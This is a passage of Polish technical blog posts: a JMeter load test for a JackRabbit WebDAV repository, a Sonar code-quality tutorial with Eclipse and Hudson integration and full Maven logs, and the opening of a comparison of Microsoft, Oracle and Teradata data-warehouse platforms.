Po uruchomieniu jboss-a aplikacja JackRabbit jest dostępna na przykład pod adresem http:\\localhost:8080\jackrabbit. Domyślnie pod tym adresem dostępna jest strona z dokumentacją, opisem standardów, FAQ, tutorialami itp. Z innych ciekawych rzeczy mamy do dyspozycji browser, wyszukiwarkę treści oraz tzw: „Zasilacz treści” (ang. Populate).  Zasilenie polega na losowym wygenerowaniu i zapisaniu do repozytorium różnego rodzaju plików. Opcja przydatna przy przeprowadzaniu testów. My nie będziemy leniwi i sami zasilimy repozytorium własnymi danymi.

Projekt biblioteki dostępu do JackRabbit za pomocą WebDav

Api JackRabbita zawiera cały zestaw metod służących do wykonywania wszystkich dostępnych metod interfejsu WebDAV. Metody te są zawarte w pakiecie: “org.apache.jackrabbit.webdav.client.methods”. Przykładowy kod uruchomienia metody PUT może wyglądać następująco:

Warto zwrócić uwagę na pętlę do{… }while. Służy ona do zmniejszenia ryzyka wystąpienia błędu jednoczesnej modyfikacji węzła. Sytuacja taka wystąpi, gdy równolegle dwóch lub więcej klientów wykonuje operację dodawania/usuwanie/modyfikacji pliku w tym samym węźle. Jest to spowodowane tym, że podczas tych operacji wykonywane są również modyfikacje na węźle, co przy równoległej pracy prowadzi do błędu HTTP 409 (Konflikt). W celu rozwiązania tego problemu operację wykonuję w pętli. Jeśli za pierwszym razem wystąpił błąd, próbuję wykonać ją ponownie. Liczba prób nie może przekroczyć dziesięciu, po tym metoda kończy działanie i zwraca kod błędu.
Kod metody List:

W podobny sposób zaimplementowane są pozostałe metody Get i Delete.

Projekt biblioteki JMeter

Aby wykonywać żądania WebDAV, wykorzystamy komponent Java Request. Pozwala on na wykonywanie metod napisanych w języku Java. Będziemy wykonywać metody powyższego Api. Aby było to możliwe, należy utworzyć dodatkowe klasy testu JMeter, które rozszerzają interfejs „org.apache.jmeter.protocol.java.sampler.JavaSamplerClient”. Dla każdej z metod tworzymy klasę JMetera. Zawiera ona następujące metody:

• getDefaultParameters – lista parametrów metody
• runTest – ciało metody testującej
• setupTest – przygotowanie testu (metoda wykonywana jako pierwsza)
• teardownTest – zakończenie testu (metoda wykonywana jako ostatnia)

W metodzie runTest implementujemy uruchomienie akcji WebDAV.

Przykładowy kod klasy testującej metodę PUT w JMeter:

W metodzie getDefaultParameters umieszczamy listę parametrów, jakie mają być dostępne do ustawienia z poziomu JMetera. Widok na listę parametrów zdefiniowanych w powyższym teście:

Analogicznie tworzymy klasy testowe dla pozostałych metody WebDAV.
Po skompilowaniu należy umieścić klasy java w pliku jar i skopiować go to katalogu JMetera: “<jmeter.home>/lib/ext”. Po zrestartowaniu JMetera oraz wybraniu komponentu “Java Request” pojawią się nowe opcje:

Skrypt testowy

Widok na hierarchie skryptu testowego:

Opis konfiguracji:
Zmienne globalne – zmienne wykorzystywane w różnych komponentach:

VAR_LICZBA_UZYTKOWNIKOW – liczba symulowanych równolegle pracujących użytkowników
VAR_LICZBA_POWTORZEN – liczba powtórzeń testu
VAR_LICZBA_KATALOGOW – liczba węzłów na których pracują użytkownicy
VAR_WEB_DAV_URL – adres WebDav

Java Request Put

sourceFileName – lokalizacja pliku źródłowego (w tym przypadku plik tekstowy o wielkości 256Kb)
destName – nazwa docelowa pliku w JackRabbit, funkcja ${__counter(false)} zwraca kolejną wartość, zaczynając od 1, parametr false oznacza, że licznik jest wspólny dla wszystkich użytkowników
webDavURL – adres serwera WebDav
Jako dziecko do tego komponentu dodany jest komponent „Regular Expression Extractor”. Wykorzystujemy go do odczytania nazwy, pod którą został zapisanego pliku w JackRabbit. Nazwę tę umieszczamy w odpowiedzi żądania w tagach <fileName>…</fileName> (kod do obejrzenia w klasie PutWebDavJMeter).

Java Request – List
Wylistowanie wszystkich plików z węzła podanego w parametrze webDavURL. Plik testowy został tak napisany, że zwraca nazwy plików w znacznikach <name>…</name>. Wyrażenie regularne wyciąga listę nazw plików z odpowiedzi Java Request i umieszcza w zmiennej VAR_CONTENT_NAME_IN.

ForEach Controller – Get
Odczytuje listę nazw plików ze zmiennej VAR_CONTENT_NAME_IN i iteruje po niej umieszczając konkretne nazwy plików w zmiennej VAR_CONTENT_NAME_OUT.

Java Request Get
Wywołuję metodę GET na pliku podanym w zmiennej destName:

Wykonanie testu JMeter

Tak przygotowany test umożliwia nam manipulowanie liczbą użytkowników, liczbą węzłów, do których zapisujemy pliki oraz rozmiarem pliku.

Skrypt uruchamiamy, wybierając opcję z menu Uruchom->Start, a następnie pozostaje nam już tylko cieszyć się napływającymi wynikami:

Sonar to opensource’owy projekt, który wykorzystuje najpopularniejsze zewnętrzne narzędzia do sprawdzania jakości kodu – pmd, findbugs czy checkstyle. Wyniki prezentowane są na stronie WWW. Ponieważ najlepiej temat poznawać na przykładzie, zainstalujmy Sonara i sprawdźmy jak to wygląda w praktyce.

Przede wszystkim potrzebujemy Sonara – można pobrać go z http://sonar.codehaus.org/downloads/ . Na potrzeby tego artykułu pobrałem wersję 2.1.2.

Dostarczany jest jako paczka zip/tar,  po rozpakowaniu aplikacja jest gotowa do pracy. Żadne wyrafinowane mechanizmy instalacji czy konfiguracji nie są wymagane – wystarczy wejść do folderu Sonara i uruchomić

bin\windows-x86-32\StartSonar.bat

w przypadku systemu operacyjnego Windows lub wybrać odpowiedni skrypt dla swojej wersji OS (dostępna jest spora ilość skryptów na systemy Linux, UNIX czy Mac OS). Po bardziej zaawansowaną konfigurację odsyłam do dokumentacji

W wyniku działania powinniśmy dostać nowe okienko powłoki. Nie należy się martwić, jeżeli jest puste – zależnie od wersji Sonara którą pobraliśmy, czasami będziemy widzieć w nim log aplikacji, a w innych wersjach log domyślnie zapisywany jest do pliku. Aplikacja Sonar dostępna jest pod adresem http://localhost:9000/

Jeżeli wszystko poszło dobrze, powinniśmy otrzymać stronę główną Sonara

Po kliknięciu odnośnika ‘Configuration’ zostaniemy przeniesieni na stronę z listą profili jakościowych domyślnie zdefiniowanych w Sonarze. Oczywiście nic nie stoi na przeszkodzie, aby zdefiniować własny styl – każda reguła posiada dokładny opis, czego dotyczy. A reguł jest aż 706. Jest więc z czego wybierać, tworząc własne profile jakości. Ja pozostanę przy domyślnym „Sonar way” – zbiera najczęstsze błędy i naruszenia.

Jeżeli zechcecie zmienić domyślny profil dla testów, najpierw należy się zalogować jako ‘admin’, domyślne hasło to również ‘admin’.

Aby wykonać analizę projektu, należy wykonać z linii komend polecenie

mvn sonar:sonar

Jeżeli nie masz zainstalowanego Mavena to najwyższa pora, by to zrobić – http://maven.apache.org/download.html Ponieważ nie jest to artykuł o Mavenie, pomijam opis instalacji i konfiguracji. Na stronie projektu są dostępne materiały dobrze opisujące te zagadnienia.

Prawdopodobnie po przeczytaniu powyższego akapitu pomyślałeś, że Sonar nie nadaje się do twoich projektów, bo nie korzystasz z Mavena. Nic bardziej mylnego. Sonar może przeanalizować każdy projekt w Javie. Wystarczy, że dodasz do niego plik pom.xml z następującą treścią

W pliku definiujemy nazwę projektu, którego dotyczy analiza oraz ścieżkę do katalogu z plikami źródłowymi projektu. W katalogu, w którym jest nasz plik wywołujemy z listy poleceń

mvn sonar:sonar

W efekcie powinnien pojawić się taki trace:

C:\Documents and Settings\adama\workspace\SonarTest\src>mvn sonar:sonar
[INFO] Scanning for projects...
[INFO] Searching repository for plugin with prefix: 'sonar'.
[INFO] ------------------------------------------------------------------------
[INFO] Building SonarTest
[INFO]    task-segment: [sonar:sonar] (aggregator-style)
[INFO] ------------------------------------------------------------------------
[INFO] [sonar:sonar]
[INFO] Sonar host: http://localhost:9000
[INFO] Sonar version: 2.1.2
[INFO] [sonar-core:internal]
[INFO]  Database dialect class org.sonar.api.database.dialect.Derby
[INFO]  -------------  Analyzing SonarTest
[INFO]  Selected quality profile : Sonar way, language=java
[INFO]  Configure maven plugins...
[INFO]  Sensor SquidSensor...
[INFO]  Java AST scan...
[INFO]  Java AST scan done: 265 ms
[INFO]  Squid extraction...
[INFO]  Squid extraction done: 906 ms
[INFO]  Sensor SquidSensor done: 1250 ms
[INFO]  Sensor JavaSourceImporter...
[INFO]  Sensor JavaSourceImporter done: 3188 ms
[INFO]  Sensor AsynchronousMeasuresSensor...
[INFO]  Sensor AsynchronousMeasuresSensor done: 625 ms
[INFO]  Execute maven plugin maven-pmd-plugin...
[INFO] ------------------------------------------------------------------------
[INFO] Building SonarTest
[INFO]    task-segment: [org.apache.maven.plugins:maven-pmd-plugin:2.4:pmd]
[INFO] ------------------------------------------------------------------------
[INFO] [pmd:pmd]
[WARNING] Unable to locate Source XRef to link to - DISABLED
[WARNING] File encoding has not been set, using platform encoding Cp1250, i.e. b
uild is platform dependent!
[INFO]  Execute maven plugin maven-pmd-plugin done: 5265 ms
[INFO]  Sensor PmdSensor...
[INFO]  Sensor PmdSensor done: 3375 ms
[INFO]  Sensor ProfileSensor...
[INFO]  Sensor ProfileSensor done: 16 ms
[INFO]  Sensor ProjectLinksSensor...
[INFO]  Sensor ProjectLinksSensor done: 94 ms
[INFO]  Sensor VersionEventsSensor...
[INFO]  Sensor VersionEventsSensor done: 156 ms
[INFO]  Execute maven plugin maven-checkstyle-plugin...
[INFO] ------------------------------------------------------------------------
[INFO] Building SonarTest
[INFO]    task-segment: [org.apache.maven.plugins:maven-checkstyle-plugin:2.4:ch
eckstyle]
[INFO] ------------------------------------------------------------------------
[INFO] [checkstyle:checkstyle]
[WARNING] File encoding has not been set, using platform encoding Cp1250, i.e. b
uild is platform dependent!
[WARNING] Unable to locate Source XRef to link to - DISABLED
[INFO]  Execute maven plugin maven-checkstyle-plugin done: 8984 ms
[INFO]  Sensor CheckstyleSensor...
[INFO]  Sensor CheckstyleSensor done: 172 ms
[INFO]  Sensor CpdSensor...
[INFO]  Sensor CpdSensor done: 94 ms
[INFO]  Sensor Maven dependencies...
[INFO]  Sensor Maven dependencies done: 15 ms
[INFO]  Execute decorators...
[INFO]  ANALYSIS SUCCESSFUL, you can browse http://localhost:9000
[INFO]  Database optimization...
[INFO]  Database optimization done: 453 ms
[INFO] ------------------------------------------------------------------------
[INFO] BUILD SUCCESSFUL
[INFO] ------------------------------------------------------------------------
[INFO] Total time: 1 minute 5 seconds
[INFO] Finished at: Thu Jun 17 09:22:21 CEST 2010
[INFO] Final Memory: 22M/40M
[INFO] ------------------------------------------------------------------------

Po odświeżeniu strony głównej Sonara powinny pojawić się informacje o przeanalizowanym projekcie

Klikając w nazwę projektu zagłębiamy się w szczegóły:

Z tego miejsca możemy jeszcze głębiej zajrzeć, np. w konkretny typ błędów:

Wybierając konkretny błąd, możemy podejrzeć, w którym miejscu w kodzie wystąpiło naruszenie.

Po takiej analizie jak na dłoni widać gdzie i jakie naruszenia popełniliśmy.

Dodatkową istotną funkcjonalnością jest możliwość integracji bezpośrednio z IDE.
W tej chwili Sonar posiada wtyczki do Eclipse i IntelliJ IDEA. W fazie budowy jest też wtyczka do NetBeans. W tym przykładzie skupię się na Eclipse.

Wtyczkę do Eclipse pobieramy z update site http://dist.sonar-ide.codehaus.org/eclipse/
Po instalacji przechodzimy do Window -> Preferences -> Sonar. Możemy zdefiniować nową instancję Sonara, ale domyślnie powinniśmy mieć dodaną już lokalną wersję. Po kliknięciu przycisku  ‘Edit’ możemy sprawdzić czy połączenie z Sonarem działa.

Następnie klikamy prawym na naszym projekcie, wybieramy ‘Properties i w zakładce Sonar upewniamy się, że jesteśmy podpięci do poprawnej instancji Sonara

Jeżeli wszystko się zgadza, ponownie klikamy prawym na projekt, wybieramy Sonar -> Associate Project with Sonar, a potem jeszcze prawy -> Sonar -> Refresh Violations.

Po tych zabiegach nasz kod zostanie zbadany przez Sonara i wszelkie naruszenia zostaną podświetlone oraz dodany stosowny komentarz:

Niestety Eclipse pobiera tylko listę naruszeń z serwera Sonara, więc istnieje możliwość że otrzymamy zgłoszenia dotyczące linii kodu, które nie są błędne, a nawet nie istnieją lub są puste. Jeżeli chcemy otrzymać świeżą listę naruszeń, dokładnie odpowiadającą naszej wersji kodu musimy z linii poleceń wywołać

mvn sonar:sonar

w katalogu z plikiem pom.xml naszego projektu.

A to jeszcze nie wszystko – przecież rozwój prawdziwych aplikacji to nie tylko development i budowa projektów w IDE. Często większe projekty wykorzystują środowiska Continues Integration do budowy i weryfikacji poprawności kodu. Jednym z takich narzędzi jest Hudson. Sonar wpasowuje się w trend CI dostarczając wtyczkę do Hudsona umożliwiającą weryfikację jakości kodu po każdej budowie projektu. Wtyczka do pobrania jest na stronie http://wiki.hudson-ci.org/display/HUDSON/Sonar+plugin. Dokładne informacje o mechanizmach Hudsona dostępne są na stronie projektu, ja skupię się tylko na konfiguracji połączenia z Sonarem.

Po uruchomieniu Hudsona przechodzimy do „Manage Hudson” -> „Manage Plugins” -> „Advanced”. Tam ładujemy pobrany plik z wtyczką Sonara i restartujemy Hudsona.
Następnie przechodzimy do „Manage Hudson”->”Configure System” i na samym dole dokonujemy konfiguracji instancji Sonara – jeżeli wszystko instalowaliśmy z domyślnymi wartościami nasza konfiguracja ogranicza się jedynie do podania nazwy identyfikacyjnej daną instancję Sonara

Po dokonaniu konfiguracji przechodzimy do utworzenia zadania kompilującego i wykonującego weryfikację jakościową. Wybieramy „New Job” -> „Build a free-style software Project”. Dokonujemy standardowej konfiguracji zadania podając namiary na SCM i metody budowania (maven, ant itp.) – po szczegóły odsyłam do dokumentacji.
Dla nas najistotniejsza jest sekcja „Post-build Actions”. Zaznaczamy opcję „Sonar” i wypełniamy interesujące nas pola. Co ciekawe, z poziomu Hudsona nie potrzebujemy pliku pom.xml, możemy dodać odpowiednie parametry w definicji akcji

Po zapisaniu i wykonaniu builda powinien pojawić się taki trace

…
[SonarTest] $ D:\apache-maven-2.1.0\bin\mvn.bat -e -B -f sonar-pom.xml sonar:sonar
+ Error stacktraces are turned on.
[INFO] Scanning for projects...
[INFO] Searching repository for plugin with prefix: 'sonar'.
[INFO] ------------------------------------------------------------------------
[INFO] Building SonarTest
[INFO]    task-segment: [sonar:sonar] (aggregator-style)
[INFO] ------------------------------------------------------------------------
[INFO] [sonar:sonar]
[INFO] Sonar host: http://localhost:9000
[INFO] Sonar version: 2.1.2
[INFO] [sonar-core:internal]
[INFO]  Database dialect class org.sonar.api.database.dialect.Derby
[INFO]  -------------  Analyzing SonarTest
[INFO]  Selected quality profile : Sonar way, language=java
[INFO]  Configure maven plugins...
[INFO]  Sensor SquidSensor...
[INFO]  Java AST scan...
[INFO]  Java AST scan done: 312 ms
[INFO]  Squid extraction...
[INFO]  Squid extraction done: 344 ms
[INFO]  Sensor SquidSensor done: 719 ms
[INFO]  Sensor JavaSourceImporter...
[INFO]  Sensor JavaSourceImporter done: 78 ms
[INFO]  Sensor AsynchronousMeasuresSensor...
[INFO]  Sensor AsynchronousMeasuresSensor done: 47 ms
[INFO]  Execute maven plugin maven-pmd-plugin...
[INFO] ------------------------------------------------------------------------
[INFO] Building SonarTest
[INFO]    task-segment: [org.apache.maven.plugins:maven-pmd-plugin:2.4:pmd]
[INFO] ------------------------------------------------------------------------
[INFO] [pmd:pmd]
[WARNING] Unable to locate Source XRef to link to - DISABLED
[WARNING] File encoding has not been set, using platform encoding Cp1250, i.e. build is platform dependent!
[INFO]  Execute maven plugin maven-pmd-plugin done: 5265 ms
[INFO]  Sensor PmdSensor...
[INFO]  Sensor PmdSensor done: 859 ms
[INFO]  Sensor ProfileSensor...
[INFO]  Sensor ProfileSensor done: 0 ms
[INFO]  Sensor ProjectLinksSensor...
[INFO]  Sensor ProjectLinksSensor done: 16 ms
[INFO]  Sensor VersionEventsSensor...
[INFO]  Sensor VersionEventsSensor done: 31 ms
[INFO]  Execute maven plugin maven-checkstyle-plugin...
[INFO] ------------------------------------------------------------------------
[INFO] Building SonarTest
[INFO]    task-segment: [org.apache.maven.plugins:maven-checkstyle-plugin:2.4:checkstyle]
[INFO] ------------------------------------------------------------------------
[INFO] [checkstyle:checkstyle]
[WARNING] File encoding has not been set, using platform encoding Cp1250, i.e. build is platform dependent!
[WARNING] Unable to locate Source XRef to link to - DISABLED
[INFO]  Execute maven plugin maven-checkstyle-plugin done: 9219 ms
[INFO]  Sensor CheckstyleSensor...
[INFO]  Sensor CheckstyleSensor done: 187 ms
[INFO]  Sensor CpdSensor...
[INFO]  Sensor CpdSensor done: 157 ms
[INFO]  Sensor Maven dependencies...
[INFO]  Sensor Maven dependencies done: 15 ms
[INFO]  Execute decorators...
[INFO]  ANALYSIS SUCCESSFUL, you can browse http://localhost:9000
[INFO]  Database optimization...
[INFO]  Database optimization done: 219 ms
[INFO] ------------------------------------------------------------------------
[INFO] BUILD SUCCESSFUL
[INFO] ------------------------------------------------------------------------
[INFO] Total time: 27 seconds
[INFO] Finished at: Thu Jun 17 11:12:20 CEST 2010
[INFO] Final Memory: 22M/40M
[INFO] ------------------------------------------------------------------------
Finished: SUCCESS

W tym momencie możemy przejść na stronę główną aplikacji Sonara żeby sprawdzić wyniki weryfikacji.

Łącząc razem te trzy narzędzia otrzymujemy prawdziwy kombajn do weryfikacji poprawności i jakości tworzonych aplikacji. Korzyści są ogromne:
1. developerzy tworząc kod danych modułów na bieżąco widzą naruszenia jakościowe
2. kod oddany do SCM jest pobierany przed Hudsona i regularnie raz na dobę uruchamiana jest procedura budowy całej aplikacji, która sprawdza, czy całość aplikacji się kompiluje i buduje, a następnie jest poddawana weryfikacji przez Sonara
3. weryfikacje jakości wywoływane przez Hudsona są zapisywane w bazie danych Sonara, a zatem możemy obserwować trendy w jakości kodu oraz korzystać ze wszystkich dobrodziejstw Sonara nie obciążając go nadmierną ilością weryfikacji wywoływanych przez developerów.

Podsumowując – Sonar jest kompleksowym narzędziem do weryfikacji jakości kodu. Może być wykorzystywany zarówno do szybkiej lokalnej weryfikacji jak i przy budowie bardziej złożonych aplikacji w systemach CI. Jest to narzędzie, które zdecydowanie warto posiadać i wykorzystywać by budować dobrej jakości aplikacje.

Źródła:
- http://docs.codehaus.org/display/SONAR/Documentation
- http://wiki.hudson-ci.org/display/HUDSON/
- http://maven.apache.org

W poniższym tekście postaram się ogólnie scharakteryzować cztery platformy/dostawców zajmujących się zagadnieniami hurtowni danych, zaczynając od serwerów bazodanowych jako podstawowego elementu hurtowni, poprzez narzędzia ETL’owe, a kończąc na systemach wykorzystujących zgromadzone informacje (BI). Omawianymi platformami będą:

• Microsoft
• Oracle
• Teradata
• Sybase

Microsoft

Firma Microsoft od wersji SQL Server 2005 (obecnie jest to wersja SQL Server 2008) zaoferował nie tylko serwer bazodanowy, ale cały pakiet aplikacji w „jednej cenie”, które swoją funkcjonalnością obejmują poszczególne procesy związane z funkcjonowaniem hurtowni danych:

• SQL Server – serwer bazy danych
• SQL Server Integration Services (SSIS) – narzędzie ETL
• SQL Server Analysis Services (SSAS) – narzędzie OLAP
• SQL Server Reporting Services (SSRS)  – narzędzie  prezentacji danych.

SQL Server jest ściśle zintegrowany z innymi systemami i aplikacjami firmy, zwłaszcza z aplikacjami systemu Microsoft Office, które w dużym stopniu zwiększają funkcjonalność analizy i prezentacji danych.  Funkcjonalność tę rozszerza także Microsoft PerformancePoint Server, który stanowi platformę Business Intelligence oferowaną przez Microsoft. Podstawowym atutem platformy opartej na SQL Server 2005/2008 jest jego niski Całkowity Koszt Posiadania (TCO). Dodatkowo polityka firmy zmierza do rozszerzania udziału w rynku DWH i BI, co przejawia się przejęciami dostawców z tej branży, tj: DATAllegro, ProCalrity, Stratature, itd. Dziś SQL Server 2008 pozycjonowany jest jako system dla rozwiązań hurtowni danych małych i średnich ( systemy do 5 TB – małe, od 5 TB do 50 TB – średnie, powyżej 50 TB – duże).

 Serwer bazy danych

• Dwie wersje do zastosowań produkcyjnych:
  • SQL Server 2008 Standard
  • SQL Server 20008 Enterprise  (dla celów implementacji  hurtowni danych dostosowana jest wersja SQLServer 2008 Enterpise o „wyższej” funkcjonalności w porównaniu do wersji Standard).
• Systemem operacyjnym może być tylko system z rodziny Windows Server.
• Obsługa systemów klastrowych.
• Obsługa replikacji on-line transakcyjnej i cyklicznej.
• Partycjonowanie tablic i indeksów.
• Indeksowane widoki.
• Zarządzenie dostępem użytkowników/grup na poziomie serwera/usługi/bazy/tablicy/kolumny.
• Kompresja danych.
• Optymalizator zapytań w strukturze gwiazdy.
• Obsługa CDC (Change Data Capture).
• Sterowanie wydajnością poprzez przydzielanie zasobów, priorytetów dla aplikacji, procesu lub poszczególnego zapytaniu   (Resource Governor ).
• Narzędzie do monitorowania on-line aktywności, począwszy od parametrów serwera, a skończywszy na poszczególnych transakcjach (SQL Serwer Profiler).

ETL

• SQL Server Integration Services (SSIS) – wchodzi w skład pakietu SQL Server 2008
• Środowisko deweloperskie oparte o Microsoft Visual Studio
• W pełni graficzne narzędzie oparte na szerokiej gamie zdefiniowanych komponentów wraz ze zintegrowanym środowiskiem programistycznym.
• Zarówno środowisko jak i komponenty podzielone są na funkcje związane z :
  • kontrolą przebiegu procesów,
  • kontrolą przepływu danych,
  • obsługą wyjątków i błędów.
• Pełna i łatwa obsługa integracji środowiska deweloperskiego, testowego i produkcyjnego.
• Obsługa procesów ETL, a także procesów administracji baz danych, jak i pozostałych komponentów serwera.
• Zdefiniowane komponenty wspomagające implementacje hurtowni danych, np.:  rozmyte wyszukiwanie (Foozy lookup), powoli zmieniające się wymiary (Slow Changing Dimension), kolumny pochodne (Drived column) itp.
• Możliwość korzystania z dowolnego środowiska źródłowego i docelowego, jedynym ograniczeniem jest posiadanie sterowników OLE DB lub ODBC. W ostateczności SQL Server może nie występować w procesie ani jako źródło, ani jako środowisko docelowe.

BI

W skład platformy BI można zaliczyć:

• SQL Server Analysis Services  (wchodzi w skład pakietu SQL Server 2008) – serwer wielowymiarowych kostek danych (technologia OLAP),
• SQL Server Reporting Services (wchodzi w skład pakietu SQL Server 2008) -  serwer raportowy,
  • Środowisko deweloperskie oparte o Microsoft Visual Studia oraz zaimplementowany prosty edytor raportów oparty o przeglądarkę internetową, udostępniany na podstawie uprawnień nadawanych użytkownikom,
  • Udostępnianie raportów oparte o dowolny serwis usług internetowych, np.: IIS,
  • Dowolne źródło danych: serwery relacyjne bazy danych, serwery OLAP, plikowe źródło danych, itd.
• Office PerformancePoint Server  – rozbudowana platforma z wydzielonymi funkcjonalnościami, takimi jak :
  • Monitorowanie
    • Typowa funkcjonalność BI oparta o portal informacyjny ze zdefiniowanymi Pulpitami Menadżerskimi (Dashboards) oraz Zrównoważonymi Kartami Wyników (Scorecards).
    • Bogata gama form prezentacji danych: raporty tabelaryczne, wykresy, wskaźniki KPI, itd.
  • Analizy
    • Narzędziem deweloperskim oparte o aplikację ProClarity
    • Dowolne źródło danych: serwery relacyjne bazy danych, serwery OLAP, plikowe źródło danych.
    • Rozbudowana funkcjonalność analityczna, np.:
      • Analizy wielowymiarowe
      • Drążenie w głąb
      • Analizy predykcyjne (prognozowanie, funkcje trendu)
    • Udostępnianie danych realizowane poprzez:
      • aplikacje ProClarity
      • przeglądarkę internetową
      • dokumenty PDF
      • pliki XML
  • Planowanie
    • Funkcjonalność planowania i budżetowania
    • Planowanie i budżetowanie hierarchiczne
    • Wersjonowanie planów i budżetów
    • Interface użytkownika oparty o aplikację Microsoft Excel

Oracle

Oracle jest liderem wśród dostawców systemów bazodanowych. Według analiz w 2007 roku posiadała około 48% światowego rynku rozwiązań RDBMS (źródło „Market Share: Relational Database Management System Software by Operating System, Worldwide, 2007″). Polityka firmy nastawiona jest na utrzymanie wiodącej roli dostawcy rozwiązań pod hurtownie danych, czego przykładem może być oferowanie zarówno samego systemu bazodanowego (Oracel Database 11g), jak i kompleksowego rozwiązania sprzętowo-bazodanowego (HP Oracle Database Machine). Aplikacje „towarzyszące” takie jak Oracle Real Apllication Cluster oraz Automatic Storage Management wspomagają zastosowanie bazy Oracle dla dużych rozwiązań hurtowni danych. Konsekwencja takich warunków to dość wysoki koszt zakupu, jak i koszt użytkowania (dotyczy to zarówno samego systemu jak, i kosztów osobowych). Dodatkowo duża liczba funkcjonalności nie jest wliczana w cenę podstawową (co nie zawsze jest w jasny sposób wyspecyfikowane).

Serwer bazy danych

• Trzy wersje do zastosowań produkcyjnych Oracle Database 11g:
  • Standard Edition One
  • Standard Edition
  • Enterprise Edition (do celów implementacji hurtowni danych zlecana jest wersja Enterprise Edition zawierająca funkcjonalność niedostępną w niższych wydaniach.)
• System operacyjny :
  • Windows Server
  • Linux
  • Unix
• Obsługa systemów klastrowych.
• Obsługa replikacji on-line (Oracle Streams).
• Partycjonowanie tablic i indeksów – Partition Advisor.
• Zmaterializowane widoki.
• Zawansowana kompresja danych.
• Obsługa cache’owania danych.
• Optymalizacja zapytań w strukturze gwiazdy.
• Automatyczne sterowanie wydajnością (pamięć operacyjną, dyskową, itp.).
• Rozbudowana funkcjonalność zarządzania dostępem do danych.
• Wbudowane funkcje analityczne – OLAP.
• Obsługa funkcji data mining’owych  – Oracle Data Mining.
• Narzędzie do obsługi administracji danymi historycznymi – Oracle Total Recall.
• Dołączone narzędzia:
  • Administracyjne –  Oracle SQL Developer
  • Deweloperskie – Oracle Warehouse Builder  oraz Oracle Application Express
• Narzędzie do testów wydajnościowych dla wprowadzanych nowych aplikacji/funkcjonalności w oparciu o rzeczywiste obciążenie – Oracle Real Appliaction Testing.

 ETL

Oracle oferuje obecnie dwie aplikacje do obsługi ETL:

• Oracle Warehouse Buider (OWB) – darmowe graficzne narzędzie ze zdefiniowanymi komponentami (Efektem działania OWB jest wygenerowany kod SQL, który obsługiwany jest przez mechanizmy motora bazy danych.); posiadające funkcje:
  • Budowy struktury bazy danych
  • Budowy procesów przepływu danych
  • Budowy procesów sterowania procesami ET
• Oracle Data Integrator (ODI) – promowane obecnie narzędzie do budowy i obsługi procesów ETL
  • Funkcjonalność budowania i obsługi procesów przepływu danych, sterowania procesami przepływu danych, procesów administracyjnych bazą danych.
  • Narzędzie graficzne oparte nie na szerokiej gamie zdefiniowanych komponentów, lecz na szablonach procesów zwanych Modułami Wiedzy (Knowledge Modules – KM).  Każdy KM jest zbiorem od 1 do n procesów stanowiących kolejno wykonywane skrypty SQL. Skrypty SQL zapisywane są w KM jako parametryzowalne szablony.
  • Zmiana podejścia z ETL na E-LT (Extract Load Transform ) – sterowanie wydajnością przetwarzania poprzez rozmieszczeniem procesów na kilka środowisk : źródłowe, docelowe, przejściowe.
  • Wspomaganie implementacji środowiska deweloperskiego, testowego i produkcyjnego poprzez obsługę repozytoriów metadanych.
  • Możliwość korzystania z dowolnego środowiska źródłowego i docelowego w oparciu o sterowniki ODBC lub OLE DB.
  • Serwis sterownia i harmonogramowania procesów ETL – ODI Agent
  • Obsługa CDC.

 BI

Firma Oracle w ciągu ostatnich trzech lat wprowadziła do swojej oferty bardzo rozbudowaną platformę Business Inteligent o nazwie Oracle BI Enterprise Edition (OBI EE). Platforma ta oparta jest na rozwijanej przez lata aplikacji firmy Siebel  – Siebel Analytics. OBI EE składa się z kilku komponentów/aplikacji, z których tworzona jest platforma BI w zależności od potrzebnej funkcjonalności:

• Oracle BI Server – podstawowy i wymagany komponent stanowiący serwer i narzędzia do tworzenia i administracji udostępnianych danych:
  • Struktura danych trzy warstwowa
    • Warstwa fizyczna – specyfikacja źródeł danych
    • Warstwa logiczna – specyfikacja, agregacja, przekształcanie, utworzenie relacji danych z warstwy fizycznej
    • Warstwa biznesowa – formatowanie i udostępnianie danych
  • Udostępnianie danych w formie logicznych wielowymiarowych kostek danych.
  • Rozbudowane i zawansowane funkcje selekcji i przetwarzania danych.
  • Odpowiada za sterownie wydajnością udostępniania danych (cache’owanie danych, priorytety kolejki zapytań, itp).
• Oracle BI Answers – narzędzie do tworzenia raportów, wykresów, wskaźników KPI na podstawie warstwy biznesowej udostępnionej przez BI Server, a wykorzystywanych we wszystkich  pozostałych komponentach platformy. Stanowi także aplikację do tworzenia raportów na żądanie. Interface oparty o przeglądarkę www.
• Oracle BI Dashboard – spersonalizowany portal informacyjny zawierający zbiór raportów pogrupowanych ze względu na zakres informacyjny z ograniczoną możliwością tworzenia nowych i zmiany struktury już istniejących zestawień. Interface oparty o przeglądarkę www. 
• Oracle BI Disconnected  Analytics – narzędzie umożliwiające pobranie z Oracle BI Server’a na komputer kliencki zastawu aktualnych raportów wraz z zakresem danych i przeglądanie ich w trybie off-line.
• Oracle BI Publisher – komponent posiadający dwie funkcjonalności:
  • Definiowanie raportów w formie formularzy z wykorzystanie Microsoft Word lub Adobe Acrobat,  na podstawie udostępnionych danych przez Oracle BI Server – np. PIT.
  • Definiowanie i administrowanie wykonywaniem i dostarczaniem raportów, zestawień, wypełnionych formularzu poprzez pocztę elektroniczną, faks, drukarkę, portal informacyjny. Dodatkowo aplikacja służy do tworzenia cache’ów danych dla raportów, których wykonanie harmonogramowane jest na okresy z mniejszym obciążeniem serwera.

Teradata

Teradata, ze swoim prawi 30-letnim doświadczeniem w zakresie budowy rozwiązań pod hurtownie danych, stała się liderem na rynku dostawców RMDBS. Architektura serwera oparta na równoległości bazy danych i wielowymiarowej skalowalności powoduje, że rozwiązanie to wykorzystywane jest zwłaszcza w obszarach analitycznych wraz z  korporacyjnymi hurtowniami danych od systemów kilkuset-gigabajtowych do ponad 100-terabajtowych. Firma skoncentrowała się na zadaniach przetwarzania danych w systemach analitycznych, nie na  przetwarzaniu transakcyjnym.   

Serwer bazy danych

• Teradata Database 12.0 – serwer bazodanowy z przeznaczeniem na różne platformy sprzętowe:
  • serwery klasy SMP zgodne z wymaganiami Teradata
  • serwery Teradata SMP
  • klastry Teradata MPP
• System operacyjny:
  • Windows
  • Server Linux
  • Unix
• Obsługa replikacji on-line.
• Pełna równoległość przetwarzania operacji.
• Zarządzanie wydajnością poprzez przydzielanie zasobów, priorytetów dla aplikacji, operacji, użytkowników – Teradata Active System Management.
• Kreator statystyk i indeksów – rekomendacja zbierania statystyk i najbardziej optymalnych indeksów.
